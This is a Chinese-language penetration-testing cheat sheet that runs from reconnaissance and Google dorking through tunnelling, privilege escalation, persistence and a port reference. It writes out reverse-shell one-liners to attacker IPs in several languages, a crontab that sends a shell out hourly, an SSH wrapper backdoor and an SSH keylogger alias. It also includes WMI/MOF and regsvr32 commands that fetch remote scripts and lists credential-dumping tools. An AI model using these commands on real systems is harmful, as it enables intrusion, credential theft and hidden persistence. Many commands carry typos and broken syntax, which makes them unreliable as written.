渗透安全测试
滲透安全測試
PTES(滲透測試執行標準),滲透測試的過程包括交互,信息收集建模,Vul-可行性分析,開發,后期開發等。滲透測試旨在提高系統的安全性,而不是為了破壞,不會影響目標系統的可用性。
信息搜集
開源情報信息搜集(OSINT)
GITHUB
爬取Github文件敏感信息泄露
使用兩個腳本文件,對Github進行掃描
GSIL(實現近實時(15分鐘內)發現的Github泄露的信息)
https://github.com/FeeiCN/GSIL https://github.com/MiSecuritu/x-patrolWHOIS查詢/注冊人反查/郵箱反查/相關資產
http://whois.chinaz.com/?DomainName=target.com&ws= #站長之家 https://whois.aizhan.com/target.com/ #愛站 https://x.threatbook.cn/ #微步在線 https://dns.aizhan.com/ #IP反查詢 https://www.tianyancha.com/ #天眼查 http://www.whomx.com/ #虎媽查 http://cb.drops.wiki/ #在線歷史漏洞查詢Google Hacking
利用搜索引擎針對性的搜索信息對網絡入侵的技術和行為。搜索引擎對搜索的關鍵字提供多種語法,構造特殊關鍵字,快速全面挖掘有價值的信息。
輕量級可搜索出一些遺留后門,不想被發現的后臺入口,中量級可搜索出一些用戶信息泄露,源代碼泄露,未授權訪問等,重量級則可能是mdb文件下載,CMS 未被鎖定install頁面,網站配置密碼,SQL注入、遠程文件包含漏洞等重要信息。
邏輯與:and A and B A * B 功能:可用來表示其所連接的兩個檢索項的交叉部分,也即交集部分。如果用AND連接檢索詞A和檢索詞B, 則檢索式為:A AND B(或A*B):表示讓系統檢索同時包含檢索詞A和檢索詞B的信息集合C。邏輯或: or A or B A + B 功能:系統查找含有檢索詞A、B之一,或同時包括檢索詞A和檢索詞B的信息。兩者皆有,都會成為搜索結果邏輯非: - -INFOR NOT INFOR 功能:強制結果不要出現此關鍵字完整匹配:"關鍵詞" 功能:強制搜索結果出現此關鍵字且不會對關鍵詞切割通配符:* ?高級用法
SITE 語法:site:網址 功能:搜索指定的域名的網頁內容 、可以用來搜索子域名、跟此域名相關的內容,輸入登錄 管理員登錄等關鍵詞來搜索一些不想被發現的后臺入口FILETYPE 語法: filetype:文件類型 功能:搜索指定文件類型,輸入網絡,搜索特定網站采用的技術 site:xx.com filetype:asp site:xx.com filetype:php site:xx.com filetype:jsp site:xx.com filetype:aspxINURL 語法: inurl:keyword 功能:搜索url網址存在特定關鍵字的網頁、可以用來搜尋有注入點的網站搜索網頁搜到可能包含sql注入的網址 inurl:.php?id= 搜索網址中有"php?id"的網頁 inurl:.jsp?id= 搜索網址中有"jsp?id"的網頁 inurl:.asp?id= 搜索網址中有"asp?id"的網頁 搜到登陸頁面或者管理員頁面 inurl: /admin/login.php 搜索網址中有"/admin/login.php"的網頁 inurl:login 搜索網址中有"login"等登錄網頁 inurl:admin 搜索網址中有"admin"等登錄網頁 inurl:config.txtINTITLE 語法 intitle:keyword 功能:搜索標題存在特定關鍵字的網頁 搜索關鍵字搜到后臺入口頁面 intitle:后臺登錄 、管理員登錄 搜索index of 搜尋目錄索引信息 intitle:index of 搜索此關鍵字相關的索引目錄信息 intitle:index of "parent directory" 搜索根目錄相關的索引目錄信息 intitle:index of "password" 搜索密碼相關的索引目錄信息INTEXT 語法 :intext:keyword 功能 :搜索正文存在特定關鍵字的網頁 intext:Powered by Discuz 搜索Discuz論壇相關的頁面 intext:powered by wordpress 搜索wordpress制作的博客網址 intext:Powered by *CMS 搜索CMS相關的頁面 intext:powered by xxx inurl:login 搜索此類網址的后臺登錄頁面Google Hacking DataBase
Google Hacking使用技巧
創建企業密碼字典
字典列表
https://github.com/lavalamp-/password-lists #passwordlist https://github.com/rootphantomer/Blasting_dictionary #Blasting_dictionary #分享和收集各種字典,弱口令,常用密碼,目錄爆破 #數據庫爆破,編輯器爆破,后臺爆破 針對特定廠商,重點構造廠商相關域名字典 ['username%%','passwd%%']密碼生成
https://github.com/RicterZ/genpAss #genpAss 中國特色弱口令生成器 https://github.com/bit4woo/passmaker #passmaker 自定義規則密碼字典生成器 https://github.com/LandGrey/pydictor #pydictor 強大的密碼生成器使用已攻陷密碼列表查找郵件地址與憑證信息
https://github/laramites/theHarvester #theHarvester 獲取郵箱導出通訊錄 https://github.com/vysec/LinkdInt-1 #LinkdInt對企業外部相關信息進行掃描
子域名獲取
Layer子域名挖掘機 https://github.com/lijiejie/subDomainBrute #subDomainBrute https://github.com/ring04h/wydomain #wydomain https://gtihub.com/aboul3la/Sublist3r #Sublist3r https://www.google.com/ #site.target.com github代碼倉庫 抓包分析請求返回值(跳轉/文件上傳/app/api接口) 站長幫手links在線查詢網站 域傳送漏洞 dig@ns.example.com example=com AXFR #Linux nslookup ->set type=ns -> target.com -> server ns.target.com -> ls target.com #windows GetDomainsBySSL.py https://censys.io/certificates?q=target.com #censys io 證書 https://crt.sh/?q=%25.target.com #crt.sh證書查詢 https://www.shodan.io/ #shodan https://wwww.zoomeye.org/ #zoomeye https://fofa.so/ #fofo.so https://dnsdb.io/zh-cn/search?q=target.com #dnsdb.io http;//api.hackertarget.com/reversedns/?q=target.com #api.hankertarget.com https://community.riskiq.com/Search/target.com #community.riskiq.com #subdomain3 #FuzzDomain #alive-host https://dnsdumpster.com/ #dnsdumpster.com進入內網
突破網關,利用端口重定向進入內網,建立包轉發,
基于企業弱口令賬號漏洞
VPN #通過郵箱,密碼爆破。社會工程學獲取VPN 企業相關運維系統 #zabbix SSH,RDP弱口令基于系統漏洞
Metasploit漏洞利用框架 漏洞利用腳本網站應用程序滲透
弱口令+任意文件上傳獲取webshell Oracle注入獲取shell SQL注入 跨站腳本攻擊 XSS 跨站請求偽造 CSRF SSRF (ssrf_proxy) 功能/業務邏輯漏洞 其他漏洞 CMS-內容管理系統漏洞,phpcms 企業自建代理 遠程代碼執行漏洞 中間件:Weblogic/Jboss/Soir 框架:Struts2/TinkPHP/Shiro/CAS #shiro反序列化漏洞 端口:RMI,Redis 郵箱:Exchange,coreMail 通達OA,致遠OA,泛微OA基于釣魚
郵件釣魚
微信精準釣魚
社會工程學
魚叉攻擊 水坑攻擊無線WI-FI接入
如果知道賬號密碼直接進入局域網,如果不知道,隨意對任何找好進行暴力破解,后臺管理界面會顯示局域網下的所有在線設備IP和MAC地址,有的還會顯示是移動設備還是終端設備,使用nmap對端口的掃描,個人PC是不會進行WEB服務的部署,嘗試使用CVE漏洞,中間人攻擊也是可行的方案
隱匿攻擊
Command and Control
ICMP DNS DropBox Gmail Telegram Twitter Website-Keyboard Powershell Windows COM WebDAV Office 365 Active Directory HTTPS Kernel Website WMI WebSocket Images Web Interface JavaScriptFronting
Domain Fronting Tor Fronting代理
VPN Shadowsocks HTTP Tor內網跨邊界應用
內網跨邊界轉發
NC端口轉發 LCX端口轉發 PS Powercat Tunna Reduh #代理腳本內網跨邊界代理穿透
http://rootkiter.com/EarthWorm/ #EW 正向SOCKS v5服務器 ./ew -s ssocksd -l 1080 反彈SOCKS v5服務器 在具有公網IP的主機上運行命令 ./ew -s rcsocks -l 1080 -e 8888 在目標主機上啟動SOCKS v5服務,并反彈到公網主機8888端口 ./ew -s rssocks -d 1.1.1.1 -e 8888 多級級聯 ./ew -s lcs_listen -l 1080 -e 8888 ./ew -s lcs_listen -l 1080 -f 2.2.2.3 -g 9999 ./ew -s lcs_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999 lcx_listen用法 ./ew -s ssocksd -l 9999 ./ew -s lcx_tran -l 1080 -f 127.0.0.1 -g 9999 lcx_listen lcx_slave用法 ./ew -s lcx_listen -l 1080 -e 8888 ./ew -s ssocksd -l 9999 ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 三級級聯的本地SOCKS測試 ./ew -s rcsocks -l 1080 -e 8888 ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 ./ew -s lcx_listen -l 9999 -e 7777 ./ew -s rsscoks -d 127.0.01 -e 7777 http://rootkiter.com/Termite #Termite reGeorg #代理腳本Shell反彈
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 #bash perl -e 'use Socket;$i='10.0.0.l'; $p=1234,socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))) {open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh-1");};' #perl python -c 'import' socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' #python php -i '$sock=fsckopen("10.0.0.1",1234);exce("/bin/sh-i<&3>$3 2>&3");' #php ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exce sprint("/bin/sh-i<&%d>&d 2>&d",f,f,f)' #ruby r = Runtime.getRuntime() p = r.exce(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;ct <&5 | while read line;do\$line 2>&5 >&5;done"]as String[]) p.waitFor() #java 使用 -e nc -e /bin/sh 223.8.200.234 1234 不使用 -e mknod /tmp/backpipe p /bin/sh 0/tmp/backpipe | nc attackerip listenport 1>/tmp/backpipe #nc lua -e "require('socket');require('os');t=socket.tcp();t:connect('202.103.243.122','1234');os.execute('/bin/sh -i <&3 >&3 2>&3);" #lua內網文件傳輸與下載
wput dir_namewget https://download.ownclou.org/community/owncloud.tar.bz2 #ariac2 -o owncloud.zip $p = New-Object System.Net.WebClient $p.DownloadFile("http://domain/file","C:%homepath%file") #powershell Set args = Wscript.Arguments Url = "http://domain/file" dim xHttp:Set xHttp = createobject("Microsoft.XMLHTTP") dim bStrm:Set bStrm = createobject("Adodb.Stream") xHttp.Open "GET",Url,False xHttp.Send with bStrm .type = 1 ' .open .write xHttp.responseBody .savetofile "C:\%homepath&\file",2' end with #vbs腳本 #!/bin/bash/perl use LWP::Simple; getstore("http://domain/file","file"); #執行perl腳本文件 #!/usr/bin/bpython import urllib2 u = urllib2.urlopen("http://domain/file") loaclFile = open("local_file",'w') localFIle.write(u.read()) loaclFIle.close() #執行python腳本文件 #!/usr/bin/ruby require /net/http' Net::HTTP.start('www.domain.com'){|http| r = http.get("/file") open("save_loaction","wb"){|file| file.write(r.body) } } #執行ruby腳本 #!/usr/bin/php $lf = "loacl_file"; $fh = fopem(#lf,'w'); fwrite($fh,$data[0]); fclose($fl); ?> #執行php腳本 cat file | nc -l 1234 # NC attacke nc host_ip 1234 > file # NC target FTP TFTP Bitsadmin Windows文件共享 SCP scp file user@host.com /tmp #本地到遠程 scp user@host.com /tmp file #遠程到本地 rsync rsync -av root@IP地址::www /file #遠程rsync服務器拷貝文件到本地 rsync -av /file root@IP地址::www #本地拷貝文件到rsync到服務器 certutil.exe內網信息收集
本機信息收集
windows用戶列表 分析郵件用戶,內網郵件用戶(內網用戶) #用戶列表 分析殺毒軟件/安全監控工具 郵件客戶端 VPN FTP #進程列表 與安全防范工具有關服務(使用手動開啟) 存在問題的服務(權限/漏洞) #服務列表 開放端口對應的常見服務/應用程序(匿名/權限/漏洞) 利用端口進行信息收集 #端口列表 分析windows補丁 第三方軟件java/oracle/flash漏洞 #補丁列表 本機共享列表/訪問權限 本機訪問的域間共享/訪問權限 #本機共享 歷史記錄 收藏夾 文檔 #用戶習慣分析 獲取當前用戶密碼工具 Windows minikatz wce Invoke-WCMDump miniDbg LaZagne nirsoft_package QuarksPwDump fgdump 星號查看器linux LaZagne minipenguin擴散信息收集
端口掃描 nmap masscan s掃描器 自寫腳本 NC nc -v -w 2 -z IP地址 #常用端口掃描工具 內灣拓撲架構分析 DMZ,管理網,生產網,測試網 net user #本機用戶列表 net localgroup administrators #本機管理員 net user /domain #查詢域用戶 net group /domain #查詢域內工作組 net group "domain admins" /domain #查詢域管理員用戶組 net loaclgroup adminstrators /domain #登錄本機域管理員 net localgroup administrators workgroup\user /add #域用戶添加到本機 net group "Domain controllers" #查詢域控制器 ipconfig /all #拆線呢本機IP,所在域 net view #查詢同一域內列表 net view /domain #查詢域列表 net view /domain domainname dsquerydsquery computer domainroot -limit 65535 && net group "domain computers" /domain #列出域內所有主機名 dsquery user domainroot -limit 65535 && net user /domain #列出域內所有用戶名 dsquery subnet #列出域內網段劃分 dsquery group && net group /domain #列出域內分組 dsquery ou #列出域內組織單位 dsquery server && net time /domain #列出域內域控制器 net group "domain admins" /domain #列出域管理員賬號第三方信息收集
NETBIOS 信息搜集 SMB 信息搜集 空會話信息搜集 漏洞信息搜集權限提升
Windows
BypassUAC
常用方法使用IFileOperation COM接口 使用Wusa.exe的extrac選項 遠程注入SHELLCODE到傀儡程序 DLL劫持,劫持系統的DLL文件 eventvwr.exe and registry hijacking sdclt.exe SilentCleanup swscrpt.exe cmstp.exe 修改環境變量,劫持高權限.Ne程序 修改注冊表HKCU\Software\Classes\CLSID,劫持高權限程序 直接提權過UAC 常用工具UACME Bypass-UAC Yamabiko提權
Windows內核漏洞提權 Windows-Exoloit-Suggester WinSystemHelper #檢測漏洞 windows-kenerl-exploits #使用漏洞 服務提權 #數據庫服務,FTP服務 Windows錯誤系統配置 系統福德錯誤權限配置漏洞 不安全的注冊表權限配置 不安全的文件/文件夾權限配置 計劃任務 任意用戶以NT AUTHORITY\SYSTEM權限安裝msi 提權腳本 PowerUP ELevateKitLinux
內核溢出提權
linux-kernel-exploits計劃任務
crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at allow cat /etc/at deny cat /etc/cron allow cat /etc/cron deny cat /etc/anacrontab cat /var/spool/cron/crontabs/root #查看計劃任務SUID
find /-user root -pem -4000 -print 2 > /dev/null find /-perm -u=s -type f 2 > /dev/null fiind /-user root -perm -4000 -exec ls -ldb {} \;系統服務錯誤權限配置漏洞
cat /etc/apahce2/config.inc cat /var/lib/mysql/mysql/user.MYD cat /root/anaconda-ks.cfg不安全的文件/文件夾權限配置
cat ~/.bash_history cat ~/.nano_history cat ~/.atftp_history cat ~/.mysql_history cat ~/.php_history存儲的明文用戶名和密碼
grep -i user[filename] grep -i pass[filename] grep -C5 'password' [filename] find .-name "*.php" -print0 | xargs -0 grep -i -n 'var$password' # Joomla權限維持
系統后門
Windows
密碼記錄工具 WinlogonHack #用于截取遠程3389登錄密碼的工具 #主要用于截取Windows XP WIndows2003 Server Gina 木馬 #主要用于截取Windows 2000的密碼 鍵盤記錄器 #目的不是記錄本地密碼,而是巨鹿管理員的一切密碼 #郵箱,WEB網頁密碼 NTPacs #獲取管理員口令,一般用Gina方式獲取 #如果安裝了pcanywhere等類型軟件,會導致遠程登陸出現錯誤 #可以實現無障礙截取口令 常用存儲payload的位置WMI 存儲 $StaticCLass = New-Object Management.ManagementClass('root\cimv2',$null,$null) $StaticClass.Name = 'Win32_Command' $StaticClass.Put() $StaticClass.Properties.Add('Command',$Payload) $StaticClass.Put() 讀取 $Payload = ([WmiClass]'Win32_Command').Properties['Command'].Value包含數據簽名的PE文件,利用文件HASH算法缺陷,在PE文件中隱藏Payload,不影響PE文件的數字簽名特殊ADS type putty.exe > putty.exe wmic.process call create c:\test\ads\....putty.exe特殊COM文件 type putty.exe > \\.\C:\test\ads\COM1.putty.exe wmic process call create \\.\C:\test\ads\Com1.putty.exe磁盤根目錄 type putty.exe > c:\putty.exe wmic process call create C:\putty.exe Run/Runonce Keys 用戶級 HKEY_CURRENT_USER\Software\Microsft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsft\Windows\CurrentVersion\RinOnce管理員 HKEY_CURRENT_USER\Software\Microsft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsft\Windows\CurrentVersion\RinOnce HKEY_CURRENT_USER\Software\Microsft\Windows\CurrentVersion\Polocoes\Explorer\Run BootExecute Keysmss.exe在Windows子系統加載之前啟動,所以會調用配置子系統加載當前的配置單元,注冊表鍵值 HKLM\SYSTEM\CurrentControSet\Conteol\hivelist HKEY_LOACL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager Userinit KeyWinlogon進程加載的login scripts鍵值 HKEY_LOACL_MACHINE\SOFTWARE\Microsft\WindowsNT\CurrentVersion\Winlogon Startup KeysHKEY_CURRENT_USER\software\Microsft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\software\Microsft\Windows\CurrentVersion\Explorer\Shell Folders HKEY_CURRENT_USER\SOFTWARE\Microsft\Windows\CurrentVersion\Explorer\User Shell Folders HKEY_CURRENT_USER\SOFTWARE\Microsft\Windows\CurrentVersion\Explorer\Shell Folders Services 創建服務 sc create[ServerName]binPath=BinaryPathName Browser Helper Objects Internet Explorer啟動加載的DLL模塊 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Windows\AppInit_DLLs AppInit_DLLs 加載User32 dll 加載的DLLHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs 文件關聯 HKEY_LOACL_MACHINE\software\Classes HKEY_CLASSES_ROOT 掃描工具 ll.bitsadminbitsadmin /create backdoor bitsadmin /addfile backdoor %comspec% %temo%\cmd.exe bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll" bitsadmin /Resume backdoor mofpragma namespace("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter { EventNamespace = "Root\\Cimv2"; Name = "filtPl"; Query = "Select * from __InstanceModificationEvent" Where TargetInstance Isa \"Win32_LocalTime\" " "And TargetInstance.Secaond = 1"; QueryLanguage = "WAL"; }; instance of ActiveScriptEventConsumer as $Consumer { Name = "consPl"; ScriptingEngine = "JScript"; ScriptText = "GetObject(\"script:https://host.name/test\")"; }; instance of __FilterConsumerBinding { Consumer = $Consumer FIlter = $EventFilter; }; #使用管理員執行mof文件 wmiwmic /NAMESOACE:"\\root\subscription" PATH __EventFilter CREATE NAME="BotFilter82",EventNameSoace="root\cimv2",QueryLanguage="WQL",Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE Targetinstance ISA 'Win32_PerfFormattedData_PerOS_System'"wmic /NAMESOACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23",ExecutablePath=C:\Windows\System32\notepad.exe",CommandLineTemplate="c:\Windows\System32\notepad.exe"wmic /NAMESOACE:"\\root]subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter。Nameplates \"BotFilter82\"",Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\"" Userland Persistence With Scheduled Tasks 劫持計劃任務UserTask 在啟動時加載DLLfunction Invoke-ScheduledTaskComHandlerUserTask { [CmdletBinding(SupportShouldProcess = $true,ConfirmImpact = 'Medium")} Param( [Parameter(Mandatory = $True)] [VaildateNotNullOrEmpty()] [String] $Command,[Switch] $Forece ) $ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32" if($Force -or((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null))){ New -Item $ScheduledTaskCommandPath -Forece | New -ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null) }else{ Write-Vervose "Key already exists,consider using-Force" exit }if(Test-Path $ScheduledTaskCommandPath){ Write-Verbose "Created registry entries to hijack the UserTask" }else{ Write-Warning "Failed to create registry key,exiting" exit } } Invoke-ScheduledTaskComHandlerUserTask -Command"C:\test\testmsg.dll"-Verbose Netshnetsh add heloer c:\test\netshtest.dll #DLL的編寫 Shim 常用方式 InjecDLL RedirectShotcut RedirecEXE DLL劫持 通過Rattler自動枚舉進程,檢測是否存在可用DLL劫持進程 使用Procmon半自動檢測更為精準,常規生成的DLL可能導致執行報錯,中斷 AheadLib配合生成DLL劫持利用源碼不影響程序執行 DounleAgent 編寫自定義Verifier procider DLL 通過Application Verifier安裝 注入目標進程執行payload,只要進程啟動,就執行payload,自啟動方式 waitfor.exe 不支持自啟動,可遠程主動激活,后臺進程顯示waitfor AppDomainManager 針對Net程序,修改AppDomainManager劫持Net程序的啟動程序 劫持了常見的Net程序和powershell.exe的啟動過程,進行添加payload實現被動后門觸發 Office 劫持office軟件特定功能 通過DLL劫持,在Office軟件執行特定功能觸發后門office加載項 Word WLL Excel XLL Excel VBA add-ins PowerPoint VBA add-ins CLR 無需管理員權限的后門,能夠劫持所有Net程序 msdtc 利用MSDTC服務加載DLL,實現自啟動,繞過Autoruns對啟動項的檢測 向%windir%\system32目錄添加DLL并重命名oci.dll Hijack CAccPropServicesClass and MMDeviceEnumerato 利用COM組件,不需重啟系統,不許管理員權限,修改注冊表HKCU\Software\Classes\CLSID{**************} HKCU\Software\Classes\CLSID{**************} HKCU\Software\Classes\CLSID{**************} HKCU\Software\Classes\Wow6432Node\CLSID{***************} Windows FAX DLL Injection 通過DLL劫持Explorer.exe對fxsst.dll的加載 Explorer啟動時加載C:\Windows\System\fxsst.dll 服務默認開啟,用于傳真服務 將payload.dll保存在C:\Windows\fxsst.dll,即可實現DLL劫持,劫持Explorer.exe對fxsst.dll的加載 特殊注冊表鍵值 注冊表啟動項創建特殊名稱的注冊表鍵值 用戶正常情況下無法讀取,使用Win32 API 但是系統能夠執行,使用Native API 快捷方式后門 替換我的電腦快捷方式啟動參數 Logon ScriptsNew-ItemProperty "HKCU:\Environment\"UserInitMprLLogonScript -value "c:\test\ll.bat" -propertType string | Out-Null Password Filter DLL利用BHO實現IE瀏覽器劫持Linuix
crontab 每六十分鐘反彈一次shell給指定域名端口 #!/bash (crontab -l,printf"*/60****exec 9<> /dev/tcp/doaminname/portl;exec 0<&9;exec l>&9 2>&l;/bin/bash --noprofile -i;\mo crontab for 'whoami'%100c\n")|crontab - 硬鏈接SSHD #!/bash ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -0port=1234 ssh root@IP地址 -p 1234 SSH Server wrapper#!bash cd /usr/sbin mv sshd ../sbin echo '#!/usr/binperI' > sshd echo 'exec "/bin/sh" if (getpeername(STDIN)=~/^..4A/);' >> sshd echo 'exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV,' >> sshd chmod u+x sshd #配置過后盡量重啟服務socat STDIN TCP4:IP地址:port,soureport=1234 SSH Keyloggervim當前用戶下的bashrc文件,尾部添加#!bash alias ssh='strace -o /tmp/sshdpw-'data '+%d%h%m%s''.log -e read,write,connect -s2048 ssh' Cymothoa進程注入backdoor ./cymothoa -p 2270 -s 1 -y 7777 nc -vv ip 7777 rootkitopenssh_rootkit Kbeast_rootkit Maxfix + Suterusu rookit ToolesVegile backdoorWeb后門
PHP Meterpreter后門 Aspx Meterpreter后門 weevely webacoo橫向滲透
工作組滲透
端口滲透
端口掃描端口的指紋信息(版本信息) 端口對應的服務 常見的默認端口號 嘗試弱口令 端口爆破 hydra端口弱口令 NTScan Hscan 自寫腳本端口溢出smb ms08067 ms17010 ms11058apache ftp 常見默認端口1.Web漏洞/敏感目錄 第三方通用組件漏洞:struts thinkphp jboss ganglia zabbix 80 Web 80 - 90 Web 8000 - 9090 Web2.數據庫掃描弱口令 1433 MSSQL 1521 Oracle 3306 MYSQL 5432 PostgreSQL 50000 DB23.特殊服務,未授權/命令執行/漏洞 433 SSL心臟滴血 445 ms08067/ms111058/ms17010 873 Rsync未授權 5984 CouchDB 6379 redis未授權 7001,7002 WebLogic默認弱口令,反序列化 9200,9300 elasticsearch 11211 memcache未授權訪問 27017,27018 Mongodb未授權訪問 50000 SAP命令執行 50070,50030 hadoop默認端口未授權訪問4.常用端口,掃描弱口令/口令爆破 21 FTP 22 SSH 23 Telnet 445 SMB弱口令掃描 2601,2604 zebra路由,默認口令zebra 3389 遠程桌面端口對照表
端口:0 服務:Reserved 用于分析操作系統,能夠工作是因為在系統中“0”是無效端口,當使用閉合端口連接時將產生不同結果端口:1 服務:tcpmux 尋找SGI Irix機器。Irix是實現tcpmux的主要提供者,默認tcpmux在系統中被打開。Irix含有默認的無密碼的帳戶,如:IP、GUEST UUCP、NUUCP、DEMOS 、TUTOR、DIAG、OUTOFBOX等。許多管理員在安裝后忘記刪除修改這些帳戶。在INTERNET上搜索tcpmux并利用這些帳戶端口:7 服務:Echo 搜索Fraggle放大器時,發送到X.X.X.0和X.X.X.255的信息端口:19 服務:Character Generator 僅僅發送字符的服務。UDP在收到UDP包后回應含有垃圾字符的包。TCP連接時發送含有垃圾字符的數據流直到連接關閉。利用IP欺騙發動DoS攻擊。偽造兩個chargen服務器之間的UDP包。Fraggle DoS攻擊向目標地址端口廣播一個帶有偽造受害者IP的數據包,受害者回應這些數據而過載端口:21 服務:FTP FTP服務器端口,用于上傳、下載。尋找打開anonymous的FTP服務器。服務器帶有可讀寫的目錄。木馬Doly Trojan、Fore、Invisible FTP、WebEx、WinCrash和Blade Runner所開放的端口端口:22 服務:Ssh PcAnywhere建立的TCP和這一端口的連接是為了尋找ssh。如果配置成特定模式,使用RSAREF庫的版本就會有漏洞端口:23 服務:Telnet 遠程登錄,入侵者在搜索遠程登錄UNIX的服務。掃描這一端口是為了找到機器運行的操作系統。使用其他技術也會找到密碼。木馬Tiny Telnet Server就開放這個端口端口:25 服務:SMTP SMTP服務器端口,用于發送郵件。尋找SMTP服務器傳遞SPAM。入侵者的帳戶被關閉,需要連接到高帶寬的E-MAIL服務器,將信息傳遞到不同地址。木馬Antigen、Email Password Sender、Haebu Coceda、Shtrilitz Stealth、WinPC、WinSpy都開放這個端口端口:31 服務:MSG Authentication 木馬Master Paradise、Hackers Paradise開放此端口端口:42 服務:WINS Replication WINS復制端口:53 服務:Domain Name Server(DNS) DNS服務器端口,試圖進行區域傳遞(TCP),欺騙DNS(UDP)或隱藏其他通信。防火墻常常過濾或記錄此端口端口:67 服務:Bootstrap Protocol Server 通過DSL和Cable modem的防火墻常遇到大量發送到廣播地址255.255.255.255的數據。這些機器向DHCP服務器請求地址。進入它們,分配一個地址把自己作為局部路由器發起大量中間人(man-in-middle)攻擊。客戶端向68端口廣播請求配置,服務器向67端口廣播回應請求。回應使用廣播是因為客戶端不知道可以發送的IP地址端口:69 服務:Trival File Transfer 服務器與bootp一起提供服務,便于從系統下載啟動代碼。但是常常由于錯誤配置使入侵者從系統中竊取文件。也可用于系統寫入文件端口:69 TFTP端口:79 服務:Finger Server 用于獲得用戶信息,查詢操作系統,探測已知的緩沖區溢出錯誤,回應從自己機器到其他機器Finger掃描端口:80/80-89 服務:HTTP 用于網頁瀏覽。木馬Executor開放此端口端口:99 服務:Metagram Relay 后門程序ncx99開放此端口端口:102 服務:Message transfer agent(MTA)-X.400 over TCP/IP 消息傳輸代理端口:109 服務:Post Office Protocol -Version3 POP3服務器端口,用于接收郵件,客戶端訪問服務器端郵件服務。用戶名和密碼交換緩沖區溢出的弱點至少有20個,入侵者可以在真正登陸前進入系統。成功登陸后還有其他緩沖區溢出錯誤端口:110 服務:SUN公司的RPC服務所有端口(POP3) 常見RPC服務有rpc.mountd、NFS、rpc.statd、rpc.csmd、rpc.ttybd、amd等端口:113 服務:Authentication Service 用于鑒別TCP連接的用戶。使用標準的服務可以獲得許多計算機的信息。可作為許多服務的記錄器,FTP、POP、IMAP、SMTP和IRC等服務。如果有客戶通過防火墻訪問服務,將會看到端口的連接請求。如果阻斷端口,客戶端會感覺到在防火墻另一邊與E-MAIL服務器的緩慢連接。許多防火墻支持TCP連接的阻斷過程中發回RST。將會停止緩慢連接端口:119 服務:Network News Transfer Protocol NEWS新聞組傳輸協議,承載USENET通信。端口的連接通常是人們在尋找USENET服務器。多數ISP限制,只有指定客戶才能訪問新聞組服務器。打開新聞組服務器將允許發/讀任何帖子,訪問被限制的新聞組服務器,匿名發帖或發送SPAM端口:135 服務:Location Service Microsoft在端口運行DCE RPC end-point mapper為DCOM服務。與UNIX 111端口的功能相似。使用DCOM和RPC的服務利用計算機上的end-point mapper注冊位置。遠端客戶連接到計算機時,查找end-point mapper找到服務位置。掃描計算機這個端口是為了找到計算機上是否運行Exchange Server,版本信息,還有DOS攻擊直接針對端口端口:135 RPC端口:137、138、139 服務:NETBIOS Name Service 137、138是UDP端口,通過網上鄰居傳輸文件時用這個端口。139端口:通過這個端口進入的連接試圖獲得NetBIOS/SMB服務。協議被用于windows文件和打印機共享和SAMBA。還有WINS Regisrtation端口:143 服務:Interim Mail Access Protocol v2 (IMAP) IMAP服務器存在緩沖區溢出漏洞。一種LINUX蠕蟲(admv0rm)會通過端口繁殖,端口的掃描來自不知情已經被感染的用戶。當REDHAT在LINUX發布版本中默認允許IMAP后,這些漏洞變的很流行。端口還被用于IMAP2,但并不流行端口:161 服務:SNMP SNMP允許遠程管理設備。所有配置和運行信息的儲存在數據庫中,通過SNMP可獲得這些信息。管理員的錯誤配置將被暴露在Internet。使用默認密碼public、private訪問系統。可能會試驗所有可能的組合。SNMP包可能會被錯誤的指向用戶的網絡端口:177 服務:X Display Manager Control Protocol 通過它訪問X-windows操作臺,同時需要打開6000端口端口:389 服務:LDAP、ILS 輕型目錄訪問協議和NetMeeting Internet Locator Server共用端口端口:443 服務:Https 網頁瀏覽端口,提供加密和通過安全端口傳輸的另一種HTTP端口:443 SSL心臟滴血 Web漏洞測試端口:456 服務:[NULL] 木馬HACKERS PARADISE開放此端口端口:512/513/514 Rexec端口:513 服務:Login,remote login 從使用cable modem或DSL登陸到子網中的UNIX計算機發出的廣播。為入侵者進入系統提供了信息端口:544 服務:[NULL] kerberos kshell端口:548 服務:Macintosh,File Services(AFP/IP) Macintosh,文件服務端口:553 服務:CORBA IIOP (UDP) 使用cable modem、DSL或VLAN將會看到端口的廣播,CORBA是一種面向對象的RPC系統。可以利用這些信息進入系統端口:555 服務:DSF 木馬PhAse1.0、Stealth Spy、IniKiller開放此端口端口:568 服務:Membership DPA 成員資格 